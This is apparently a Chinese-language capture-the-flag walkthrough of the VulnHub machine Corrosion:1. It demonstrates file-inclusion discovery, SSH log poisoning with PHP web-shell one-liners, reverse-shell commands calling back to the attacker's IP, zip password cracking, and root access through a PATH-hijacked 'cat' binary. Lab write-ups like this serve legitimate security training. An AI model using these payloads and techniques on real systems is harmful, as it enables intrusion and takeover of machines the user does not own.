运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:corrosion:1(10.0.2.12)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/
使用nmap主机发现靶机ip10.0.2.12
使用nmap端口扫描发现靶机开放端口:22、80
打开网站发现是Apache2的默认页面,查看源码没有隐藏信息
使用dirsearch目录爆破发现一个/tasks/目录,打开发现一个txt文档
# 需要完成的任务
1. 更改身份验证日志的权限
2. 更改端口 22 -> 7672
3. 设置 phpMyAdmin
没有什么可利用的点,怀疑目录扫描没有扫描到,后面使用dirbuster,使用/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
字典才扫描出来,扫描得到一个博客网站
打开http://10.0.2.12/blog-post/archives/randylogs.php
页面发现是空白页面,想到tasks_todo.txt
文件提示,怀疑randylogs.php
可以进行文件包含,使用wfuzz进行测试,发现file参数。
wfuzz -w /usr/share/wordlists/wfuzz/general/big.txt http://10.0.2.12/blog-post/archives/randylogs.php?FUZZ=../../../../../../etc/passwd
尝试包含ssh的日志文件,显示日志文件的内容
http://10.0.2.12/blog-post/archives/randylogs.php?file=/var/log/auth.log
由于Virtualbox上安装的kali2023.4虚拟机ssh输入特殊字符会报错,所以后续的测试使用vmware上安装的kali2022.4虚拟机操作。kali:192.168.56.103,靶机:192.168.56.104。
尝试在ssh日志写入一句话木马,执行命令失败
ssh '<?php @eval($_GET["x"]);?>'@192.168.56.104
使用system一句话木马,执行命令成功
ssh '<?php system($_GET["cmd"]);?>'@192.168.56.104
反弹shell
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1 #反弹失败,进行url编码也反弹失败
nc -e /bin/bash 192.168.56.103 4444 #反弹失败,进行url编码也反弹失败
bash -c 'bash -i >& /dev/tcp/192.168.56.103/4444 0>&1' #反弹失败,进行url编码也反弹失败
echo "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1" | bash #反弹失败,进行url编码也反弹成功
使用命令查看具有root权限的文件,发现了两个文件
polkit-agent-helper-1
:可以尝试CVE-2021-4034
本地提权漏洞,需要将exp上传到靶机
easysysinfo
:该文件有root权限,在randy的home目录下,所以有可能randy用户也有该文件的权限,可以尝试提权
find / -perm -u=s -type f 2>/dev/null
首先尝试能不能将exp上传到靶机,但发现www-date
的权限太低了,上传失败
目前没有其他可利用的点,可以找找没有什么特别的文件,搜索一些关键字,在/var/backup
目录下发现user_backup.zip
文件
find / -name *backup* 2>/dev/null | grep -v "/snap/"
使用python搭建一个临时的web服务器,主机访问将user_backup.zip
文件下载下来
python3 -m http.server 9000
将文件解压,发现需要密码
使用fcrackzip工具进行爆破,得到密码
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
解压发现my_password.txt
和easysysinfo.c
文件,密码为randy用户的,使用ssh登录
查看easysysinfo.c
文件,该文件内容发现setuid
和cat
读取文件字段,可以考虑替换cat
进行提权
cd /tmp/
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
执行tools目录下的easysysinfo
文件,提权成功
获取flag